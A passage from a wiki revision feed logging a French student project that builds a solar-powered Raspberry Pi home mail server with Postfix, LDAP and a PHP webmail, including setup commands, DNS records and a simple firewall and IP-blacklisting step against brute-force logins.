Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
&lt;br /&gt;
* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point&lt;br /&gt;
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation&lt;br /&gt;
&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Poursuite de la longue réécriture du code shell en perl.&lt;br /&gt;
&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=25949</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=25949"/>
				<updated>2016-02-02T12:27:10Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Semaine 14 (04/01/2016) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
